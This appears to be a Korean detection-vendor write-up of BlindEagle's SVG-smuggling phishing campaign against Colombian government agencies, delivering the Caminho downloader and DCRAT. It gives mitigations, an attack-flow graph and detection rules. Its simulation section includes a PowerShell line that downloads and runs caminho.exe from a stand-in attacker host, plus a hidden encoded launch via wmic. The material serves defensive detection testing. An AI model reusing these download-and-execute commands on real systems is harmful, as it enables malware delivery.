블라인드이글, 카민호와 DCRAT으로 콜롬비아 정부 기관 겨냥
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
BlindEagle는 콜롬비아 정부 기관을 겨냥한 스피어 피싱 작전을 수행하여, 자바스크립트에서 파워셸 실행 체인을 시작하는 무기화된 SVG 첨부파일을 전달했습니다. 그 일련의 과정을 통해 Caminho라는 다운로드 프로그램을 내려받았고, 이후 디스코드호스팅 오픈소스 DCRAT 원격 액세스 트로이 목마를 가져왔습니다. 최종 단계에서는 MSBuild.exe를 프로세스 할로잉하여 여러 회피 방법을 적용하여 탐지를 줄였습니다.
조사
Zscaler ThreatLabz는 감염 흐름을 분석하고 SVG 밀반입 접근, 다층의 난독화된 자바스크립트, WMI로 유발된 파워셸 명령, 디스코드 호스팅 URL을 통한 Caminho 전달 등을 보고했습니다. 조사결과는 스웨덴 IP 주소와 동적 DNS 제공업체(ydns.eu).
완화
수신 이메일 첨부파일, 특히 SVG 콘텐츠에 대해 더 엄격한 통제를 적용하고, 내장 스크립트에 대해 콘텐츠 무장해제 검사도 시행합니다. 웹 프록시 정책을 사용하여 디스코드 파일 URL과 같은 의심스러운 파일 호스팅 엔드포인트에 대한 접근을 제한합니다. 비정상적인 파워셸 및 WMI 실행 패턴을 모니터링하고, MSBuild.exe 사용을 포함한 응용프로그램 허용리스트 정책을 시행합니다.
대응
악성 SVG 아티팩트, 참조된 자바스크립트 파일 이름, 디스코드 URL에 도달하는 다운로드에 대해 알림을 트리거합니다. Caminho 및 DCRAT의 메모리 내 또는 디스크 내 흔적, MSBuild.exe 프로세스 할로잉의 증거, 레지스트리 변경 또는 예약 작업을 통한 지속성을 사냥합니다. 영향을 받은 엔드 포인트를 격리하고 식별된 C2 도메인을 차단합니다.
“graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes initial_access_phishing[“<b>작업</b> – <b>T1566.001 피싱 첨부파일</b><br/>이메일의 SVG 첨부파일”] class initial_access_phishing action user_exec_malicious_link[“<b>작업</b> – <b>T1204.001 사용자 실행</b><br/>악성 SVG 이미지 클릭”] class user_exec_malicious_link action user_exec_malicious_file[“<b>작업</b> – <b>T1204.002 사용자 실행</b><br/>JavaScript 파일 열기”] class user_exec_malicious_file action obfuscation_svg_smuggling[“<b>기법</b> – <b>T1027.017</b><br/>스크립트를 숨기기 위한 SVG 스멀링”] class obfuscation_svg_smuggling technique obfuscation_embedded_payloads[“<b>기법</b> – <b>T1027.009</b><br/>Base64 인코딩된 JavaScript 페이로드”] class obfuscation_embedded_payloads technique command_js[“<b>기법</b> – <b>T1059.007 JavaScript</b><br/>디옵퓨스케이션 스크립트”] class command_js technique command_powershell[“<b>기법</b> – <b>T1059.001 PowerShell</b><br/>PowerShell 실행을 위한 WMI 생성”] class command_powershell technique event_wmi_subscription[“<b>기법</b> – <b>T1546.003</b><br/>WMI 이벤트 구독 실행”] class event_wmi_subscription technique obfuscation_steganography[“<b>기법</b> – <b>T1027.003</b><br/>PNG 이미지에 숨겨진 페이로드”] class obfuscation_steganography technique reflective_code_loading[“<b>기법</b> – <b>T1620</b><br/>반영된 .NET 어셈블리 로딩”] class reflective_code_loading technique process_hollowing[“<b>기법</b> – <b>T1055.012</b><br/>MsBuild 홀로잉”] class process_hollowing technique downloader_caminho[“<b>도구</b> – <b>이름</b>: Caminho 다운로더<br/><b>목적</b>: DCRAT 가져오기”] class downloader_caminho tool malware_dcrat[“<b>악성코드</b> – <b>이름</b>: DCRAT”] class malware_dcrat malware amsi_bypass[“<b>기법</b> – <b>T1027.005</b><br/>AMSI 패치로 탐지 우회”] class amsi_bypass technique persistence_run_key[“<b>기법</b> – <b>T1547.001</b><br/>레지스트리에 실행 키 생성”] class persistence_run_key technique persistence_scheduled_task[“<b>기법</b> – <b>T1053</b><br/>예약 작업 생성”] class persistence_scheduled_task technique c2_discord[“<b>명령 및 제어</b> – 페이로드 배포에 사용된 Discord URL”] class c2_discord technique %% Connections initial_access_phishing u002du002d>|leads_to| user_exec_malicious_link user_exec_malicious_link u002du002d>|leads_to| user_exec_malicious_file user_exec_malicious_file u002du002d>|leads_to| obfuscation_svg_smuggling obfuscation_svg_smuggling u002du002d>|leads_to| obfuscation_embedded_payloads obfuscation_embedded_payloads u002du002d>|leads_to| command_js command_js u002du002d>|leads_to| command_powershell command_powershell u002du002d>|leads_to| event_wmi_subscription event_wmi_subscription u002du002d>|leads_to| obfuscation_steganography obfuscation_steganography u002du002d>|leads_to| reflective_code_loading reflective_code_loading u002du002d>|leads_to| process_hollowing process_hollowing u002du002d>|leads_to| downloader_caminho downloader_caminho u002du002d>|downloads| malware_dcrat malware_dcrat u002du002d>|performs| amsi_bypass malware_dcrat u002du002d>|establishes| persistence_run_key malware_dcrat u002du002d>|establishes| persistence_scheduled_task malware_dcrat u002du002d>|uses| c2_discord “
공격 흐름
탐지
의심스러운 파워셸 문자열 (파워셸 통해)
보기
LOLBAS WScript / CScript (프로세스 생성 통해)
보기
비정상적인 프로세스로 해결된 가능성 있는 인터넷 아카이브 (dns_query 통해)
보기
파워셸에서 의심스러운 .NET 메서드 호출 (파워셸 통해)
보기
탐지용 IOC (HashMd5): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (SourceIP): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (HashSha1): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (HashSha256): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
탐지용 IOC (DestinationIP): Caminho 및 DCRAT으로 콜롬비아 정부 기관을 대상으로 한 BlindEagle
보기
WMI를 활용한 BlindEagle 파워셸 명령 탐지 [Windows Powershell]
보기
시뮬레이션 실행
필수조건: 원격 감시 및 기준선 검사 프리플라이트 체크가 통과해야 합니다.
배경: 이 섹션은 탐지 규칙을 유발하도록 설계된 적의 기술 (TTP)의 정확한 실행을 상세히 설명합니다. 명령 및 서사는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령:
위협 행위자(BlindEagle)는 WMI를 사용하여 파워셸 프로세스를 스폰하고 원격 C2 서버에서 “Caminho” 페이로드를 다운로드하여 메모리 내에서 실행합니다. 이를 활용하여wmic.exe를process call create메소드와 함께 사용하면 사용자가 세션에 상호작용하지 않고 파워셸을 실행할 수 있어 활동이 은밀하게 진행됩니다. 명령 줄에는 탐지 규칙의 조건을 충족시키는 ‘powershell’이라는 단어가 포함되어 있습니다.-
1단계 – 악성 파워셸 원라이너 준비:
$url = "http://malicious.example.com/caminho.exe" $out = "$env:TEMPcaminho.exe" Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out -
2단계 – WMI를 통해 실행:
$psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>' wmic process call create "$psCmd"
의 존재
powershell은 Sysmon 이벤트 1의CommandLine필드에 의해 생성된wmic자식 프로세스로 인해 규칙을 유발합니다. -
-
회귀 테스트 스크립트:
# BlindEagle WMI를 통한 파워셸 시뮬레이션 # ---------------------------------------------------------------------- # 1. 악성 페이로드 정의 (테스트에서는 무해한 echo 명령 사용) $payload = 'Write-Host "Simulated Caminho execution"' $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. 'powershell'이라는 말이 포함된 파워셸 명령 줄을 빌드합니다 $psCommand = "powershell -NoProfile -EncodedCommand $encoded" # 3. Sysmon EventID 1을 생성하기 위해 WMI (wmic)를 통해 명령 실행 $wmicCommand = "wmic process call create `"$psCommand`"" Write-Host "Executing via WMI: $wmicCommand" Invoke-Expression $wmicCommand # 4. 선택 사항: 확인을 위해 콘솔에 로그 Write-Host "Simulation complete. Verify detection in SIEM." -
정리 명령:
# 임시 파일 제거 (이 시뮬레이션에서는 생성되지 않음) # 테스트를 위해 시작된 모든 잔여 wmic 또는 파워셸 프로세스를 종료합니다 Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "Cleanup complete."